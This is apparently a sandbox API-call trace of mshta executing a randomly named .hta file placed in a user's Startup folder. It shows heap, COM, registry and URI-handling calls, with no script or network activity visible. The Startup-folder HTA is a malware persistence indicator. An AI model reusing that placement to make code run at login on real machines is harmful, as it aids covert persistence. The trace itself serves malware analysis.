[0098.956] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7689f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7689f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x4845f0 | out: ppvObject=0x4845f0*=0x0) returned 0x80004002
[0098.956] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7689f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7689f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x4845ec | out: ppvObject=0x4845ec*=0x0) returned 0x80004002
[0098.956] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7688c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7688c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4845e8 | out: ppvObject=0x4845e8*=0x736696bc) returned 0x0
[0098.956] IUnknown:Release (This=0x482da8) returned 0x0
[0098.956] CoTaskMemAlloc (cb=0x6d) returned 0x48bbd0
[0098.956] CoTaskMemAlloc (cb=0x9) returned 0x47b9b8
[0098.956] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x48bc60
[0098.956] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48c048
[0098.986] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0
[0098.986] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x44) returned 0x469528
[0098.996] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x48bc78
[0098.996] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bc90
[0099.002] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x47bd50
[0099.002] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x482028
[0099.002] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x48bca8
[0099.003] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x94) returned 0x48c0a0
[0099.003] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x34) returned 0x48c140
[0099.003] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x70) returned 0x48c180
[0099.037] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x48c1f8
[0099.037] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8b4) returned 0x48c2f8
[0099.037] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bcc0
[0099.037] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.037] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bcd8
[0099.037] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x84) returned 0x48cbb8
[0099.044] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x48cc48
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x48d450
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x48dc58
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x48dcb0
[0099.045] IsCharSpaceW (wch=0x48) returned 0
[0099.045] IsCharAlphaNumericW (ch=0x5c) returned 0
[0099.045] IsCharSpaceW (wch=0x5c) returned 0
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4735d0
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x48e4b8
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4735f0
[0099.045] IsCharSpaceW (wch=0x41) returned 0
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x48bcf0
[0099.045] IsCharAlphaNumericW (ch=0x20) returned 0
[0099.045] IsCharSpaceW (wch=0x20) returned 1
[0099.045] IsCharSpaceW (wch=0x7b) returned 0
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x482050
[0099.045] IsCharSpaceW (wch=0x20) returned 1
[0099.045] IsCharAlphaNumericW (ch=0x7b) returned 0
[0099.045] IsCharSpaceW (wch=0x62) returned 0
[0099.045] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48e4b8 | out: hHeap=0x450000) returned 1
[0099.045] IsCharAlphaNumericW (ch=0x3a) returned 0
[0099.045] IsCharSpaceW (wch=0x3a) returned 0
[0099.045] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x482078
[0099.057] IsCharAlphaNumericW (ch=0x3a) returned 0
[0099.057] IsCharSpaceW (wch=0x75) returned 0
[0099.057] IsCharAlphaNumericW (ch=0x28) returned 0
[0099.057] IsCharSpaceW (wch=0x28) returned 0
[0099.057] IsCharAlphaNumericW (ch=0x28) returned 0
[0099.057] IsCharSpaceW (wch=0x23) returned 0
[0099.057] IsCharSpaceW (wch=0x23) returned 0
[0099.057] IsCharSpaceW (wch=0x7d) returned 0
[0099.057] IsCharAlphaNumericW (ch=0x7d) returned 0
[0099.057] IsCharSpaceW (wch=0x29) returned 0
[0099.057] IsCharSpaceW (wch=0x75) returned 0
[0099.057] IsCharSpaceW (wch=0x75) returned 0
[0099.057] IsCharSpaceW (wch=0x29) returned 0
[0099.057] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473630
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x34) returned 0x48e6c0
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4641c0
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bd08
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bd20
[0099.058] CoTaskMemFree (pv=0x48bbd0)
[0099.058] CoTaskMemFree (pv=0x47b9b8)
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x473650
[0099.058] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76130000
[0099.058] GetProcAddress (hModule=0x76130000, lpProcName=0x6) returned 0x76133e59
[0099.058] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x340) returned 0x48e700
[0099.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4a) returned 0x48ea60
[0099.059] IsOS (dwOS=0x25) returned 1
[0099.059] GetSysColor (nIndex=26) returned 0xcc6600
[0099.059] IsOS (dwOS=0x25) returned 1
[0099.059] GetSysColor (nIndex=5) returned 0xffffff
[0099.059] GetSysColor (nIndex=8) returned 0x0
[0099.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b9b8
[0099.067] wcstol (in: _String="0,0,255", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*=",0,255") returned 0
[0099.067] wcstol (in: _String="0,255", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*=",255") returned 0
[0099.067] wcstol (in: _String="255", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*="") returned 255
[0099.067] wcstol (in: _String="128,0,128", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*=",0,128") returned 128
[0099.067] wcstol (in: _String="0,128", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*=",128") returned 0
[0099.067] wcstol (in: _String="128", _EndPtr=0x1ce4ec, _Radix=10 | out: _EndPtr=0x1ce4ec*="") returned 128
[0099.071] GetModuleHandleW (lpModuleName="EXPLORER.EXE") returned 0x0
[0099.071] GetModuleHandleW (lpModuleName="IEXPLORE.EXE") returned 0x0
[0099.071] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\PageSetup", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf5a4 | out: phkResult=0x1cf5a4*=0x1a4) returned 0x0
[0099.071] SHGetValueW (in: hkey=0x1a4, pszSubKey=0x0, pszValue="Print_Background", pdwType=0x0, pvData=0x1cf5a8, pcbData=0x1cf5a0*=0xa | out: pdwType=0x0, pvData=0x1cf5a8, pcbData=0x1cf5a0*=0xa) returned 0x2
[0099.071] RegCloseKey (hKey=0x1a4) returned 0x0
[0099.074] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x80) returned 0x490a48
[0099.074] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b958
[0099.074] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x3a) returned 0x464250
[0099.075] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6a) returned 0x490ad0
[0099.078] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b988
[0099.078] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x26) returned 0x46d1e8
[0099.078] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6e) returned 0x490b48
[0099.078] GetProcessHeap () returned 0x450000
[0099.079] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48bbd0 | out: hHeap=0x450000) returned 1
[0099.079] GetProcessHeap () returned 0x450000
[0099.079] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48fa60 | out: hHeap=0x450000) returned 1
[0099.079] GetProcessHeap () returned 0x450000
[0099.079] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47bd60 | out: hHeap=0x450000) returned 1
[0099.079] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473670
[0099.079] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48bd50
[0099.079] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473690
[0099.079] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x464298
[0099.080] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x48bbd0
[0099.080] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x46d218
[0099.080] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x4820c8
[0099.080] GetAcceptLanguagesW () returned 0x0
[0099.080] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b628
[0099.080] GetClassNameW (in: hWnd=0x1012c, lpClassName=0x1cf874, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9
[0099.080] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3
[0099.080] GetParent (hWnd=0x1012c) returned 0x10128
[0099.080] GetClassNameW (in: hWnd=0x10128, lpClassName=0x1cf874, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9
[0099.080] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3
[0099.080] GetParent (hWnd=0x10128) returned 0x0
[0099.080] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4736b0
[0099.081] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x46d248
[0099.081] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4736b0 | out: hHeap=0x450000) returned 1
[0099.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eab8
[0099.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x48bdc8
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x94) returned 0x490bc0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4736b0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12) returned 0x4736d0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x14) returned 0x4736f0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x48bde0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x48bdf8
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x48be10
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x48be28
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x4820f0
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1a) returned 0x482118
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1a) returned 0x482140
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473710
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473730
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473750
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473770
[0099.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x48be40
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x48be70
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x48be88
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473790
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe) returned 0x48bea0
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x48beb8
[0099.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x26) returned 0x46d278
[0099.114] GetProcessHeap () returned 0x450000
[0099.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x482168 | out: hHeap=0x450000) returned 1
[0099.114] GetProcessHeap () returned 0x450000
[0099.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x482190 | out: hHeap=0x450000) returned 1
[0099.114] GetProcessHeap () returned 0x450000
[0099.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4821b8 | out: hHeap=0x450000) returned 1
[0099.114] GetProcessHeap () returned 0x450000
[0099.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b5f8 | out: hHeap=0x450000) returned 1
[0099.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48be40 | out: hHeap=0x450000) returned 1
[0099.114] IMoniker:GetDisplayName (in: This=0x4606e0, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x1cf838 | out: ppszDisplayName=0x1cf838*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.115] IUnknown:QueryInterface (in: This=0x4606e0, riid=0x732672f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x1cf810 | out: ppvObject=0x1cf810*=0x4606ec) returned 0x0
[0099.115] IUriContainer:GetIUri (in: This=0x4606ec, ppIUri=0x1cf840 | out: ppIUri=0x1cf840*=0x47c444) returned 0x0
[0099.115] IUnknown:Release (This=0x4606ec) returned 0x1
[0099.115] IUnknown:AddRef (This=0x4606e0) returned 0x2
[0099.115] IUnknown:AddRef (This=0x47c444) returned 0x5
[0099.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.115] IMoniker:GetDisplayName (in: This=0x4606e0, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x1cf718 | out: ppszDisplayName=0x1cf718*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.115] UrlGetLocationW (psz1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.115] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppmk=0x1cf6e4*=0x0, dwFlags=0x1 | out: ppmk=0x1cf6e4*=0x48fa60) returned 0x0
[0099.115] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x1cf6dc | out: ppURI=0x1cf6dc*=0x47c7a4) returned 0x0
[0099.115] IUri:GetScheme (in: This=0x47c7a4, pdwScheme=0x1cf674 | out: pdwScheme=0x1cf674*=0x9) returned 0x0
[0099.115] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1
[0099.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x4821b8
[0099.116] IUnknown:AddRef (This=0x47c7a4) returned 0x5
[0099.116] IUri:GetAbsoluteUri (in: This=0x47c7a4, pbstrAbsoluteUri=0x4821b8 | out: pbstrAbsoluteUri=0x4821b8*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.116] IUnknown:Release (This=0x47c7a4) returned 0x4
[0099.116] IUnknown:AddRef (This=0x48fa60) returned 0x2
[0099.116] IUnknown:Release (This=0x48fa60) returned 0x1
[0099.116] IUnknown:AddRef (This=0x4606e0) returned 0x3
[0099.116] IUnknown:Release (This=0x48fa60) returned 0x0
[0099.116] IUnknown:AddRef (This=0x4606e0) returned 0x4
[0099.116] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf4e4 | out: ppvObject=0x1cf4e4*=0x47c444) returned 0x0
[0099.116] IUnknown:Release (This=0x47c444) returned 0x5
[0099.116] IUnknown:AddRef (This=0x47c444) returned 0x6
[0099.116] IUnknown:QueryInterface (in: This=0x4606e0, riid=0x732672f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x1cf4b8 | out: ppvObject=0x1cf4b8*=0x4606ec) returned 0x0
[0099.116] IUriContainer:GetIUri (in: This=0x4606ec, ppIUri=0x1cf50c | out: ppIUri=0x1cf50c*=0x47c444) returned 0x0
[0099.117] IUnknown:Release (This=0x4606ec) returned 0x4
[0099.117] IUnknown:AddRef (This=0x4606e0) returned 0x5
[0099.117] IUnknown:Release (This=0x4606e0) returned 0x4
[0099.117] IUnknown:AddRef (This=0x47c444) returned 0x8
[0099.117] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf4e4 | out: ppvObject=0x1cf4e4*=0x47c444) returned 0x0
[0099.117] IUnknown:Release (This=0x47c444) returned 0x8
[0099.117] IUnknown:AddRef (This=0x47c444) returned 0x9
[0099.117] IUri:GetScheme (in: This=0x47c444, pdwScheme=0x1cf4dc | out: pdwScheme=0x1cf4dc*=0x9) returned 0x0
[0099.117] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xc8) returned 0x491568
[0099.117] GetCurrentProcessId () returned 0x4dc
[0099.117] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf4e4 | out: ppvObject=0x1cf4e4*=0x47c444) returned 0x0
[0099.117] IUnknown:Release (This=0x47c444) returned 0x9
[0099.117] IUnknown:AddRef (This=0x47c444) returned 0xa
[0099.117] IUri:GetScheme (in: This=0x47c444, pdwScheme=0x1cf4b4 | out: pdwScheme=0x1cf4b4*=0x9) returned 0x0
[0099.117] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf468 | out: ppvObject=0x1cf468*=0x47c444) returned 0x0
[0099.117] IUnknown:Release (This=0x47c444) returned 0xa
[0099.117] IUnknown:AddRef (This=0x47c444) returned 0xb
[0099.117] IUnknown:Release (This=0x47c444) returned 0xa
[0099.117] IUri:GetAbsoluteUri (in: This=0x47c444, pbstrAbsoluteUri=0x1cf4e4 | out: pbstrAbsoluteUri=0x1cf4e4*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.117] GetProcAddress (hModule=0x76130000, lpProcName=0x7) returned 0x76134680
[0099.117] SysStringLen (param_1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x88
[0099.117] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1cf500 | out: ppURI=0x1cf500*=0x47c954) returned 0x0
[0099.118] IUnknown:Release (This=0x47c444) returned 0x9
[0099.118] IUri:GetScheme (in: This=0x47c954, pdwScheme=0x1cf494 | out: pdwScheme=0x1cf494*=0x9) returned 0x0
[0099.118] IUri:IsEqual (in: This=0x47c7a4, pUri=0x47c954, pfEqual=0x1cf4dc | out: pfEqual=0x1cf4dc*=1) returned 0x0
[0099.118] IUnknown:AddRef (This=0x47c7a4) returned 0x3
[0099.118] IUri:GetPropertyDWORD (in: This=0x47c7a4, uriProp=0x11, pdwProperty=0x1cf274, dwFlags=0x0 | out: pdwProperty=0x1cf274*=0x9) returned 0x0
[0099.118] IUnknown:Release (This=0x47c7a4) returned 0x2
[0099.149] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x491d00
[0099.149] IInternetSecurityManager:GetSecurityId (in: This=0x4845c8, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf2d8, pcbSecurityId=0x1cf2d4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf2d8*=0x66, pcbSecurityId=0x1cf2d4*=0x9) returned 0x0
[0099.149] IInternetSecurityManager:GetSecurityId (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf2d8, pcbSecurityId=0x1cf2d4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf2d8*=0x0, pcbSecurityId=0x1cf2d4*=0x200) returned 0x800c0011
[0099.161] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x491d00 | out: hHeap=0x450000) returned 1
[0099.161] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b880 | out: hHeap=0x450000) returned 1
[0099.161] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x9) returned 0x47b880
[0099.161] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b8f8 | out: hHeap=0x450000) returned 1
[0099.161] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x9) returned 0x47b8f8
[0099.162] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf490 | out: ppu=0x1cf490) returned 0x0
[0099.162] GetDC (hWnd=0x0) returned 0x7010156
[0099.162] CreateCompatibleBitmap (hdc=0x7010156, cx=1, cy=1) returned 0xa05025f
[0099.162] GetDIBits (in: hdc=0x7010156, hbm=0xa05025f, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x1cf060, usage=0x0 | out: lpvBits=0x0, lpbmi=0x1cf060) returned 1
[0099.162] GetDIBits (in: hdc=0x7010156, hbm=0xa05025f, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x1cf060, usage=0x0 | out: lpvBits=0x0, lpbmi=0x1cf060) returned 1
[0099.162] DeleteObject (ho=0xa05025f) returned 1
[0099.162] GetSysColor (nIndex=0) returned 0xc8c8c8
[0099.162] GetSysColor (nIndex=1) returned 0x0
[0099.162] GetSysColor (nIndex=2) returned 0xd1b499
[0099.162] GetSysColor (nIndex=3) returned 0xdbcdbf
[0099.162] GetSysColor (nIndex=4) returned 0xf0f0f0
[0099.162] GetSysColor (nIndex=5) returned 0xffffff
[0099.162] GetSysColor (nIndex=6) returned 0x646464
[0099.162] GetSysColor (nIndex=7) returned 0x0
[0099.162] GetSysColor (nIndex=8) returned 0x0
[0099.162] GetSysColor (nIndex=9) returned 0x0
[0099.162] GetSysColor (nIndex=10) returned 0xb4b4b4
[0099.162] GetSysColor (nIndex=11) returned 0xfcf7f4
[0099.162] GetSysColor (nIndex=12) returned 0xababab
[0099.162] GetSysColor (nIndex=13) returned 0xff9933
[0099.162] GetSysColor (nIndex=14) returned 0xffffff
[0099.162] GetSysColor (nIndex=15) returned 0xf0f0f0
[0099.162] GetSysColor (nIndex=16) returned 0xa0a0a0
[0099.162] GetSysColor (nIndex=17) returned 0x6d6d6d
[0099.162] GetSysColor (nIndex=18) returned 0x0
[0099.162] GetSysColor (nIndex=19) returned 0x544e43
[0099.162] GetSysColor (nIndex=20) returned 0xffffff
[0099.162] GetSysColor (nIndex=21) returned 0x696969
[0099.162] GetSysColor (nIndex=22) returned 0xe3e3e3
[0099.162] GetSysColor (nIndex=23) returned 0x0
[0099.162] GetSysColor (nIndex=24) returned 0xe1ffff
[0099.162] GetSysColor (nIndex=25) returned 0x0
[0099.162] GetSysColor (nIndex=26) returned 0xcc6600
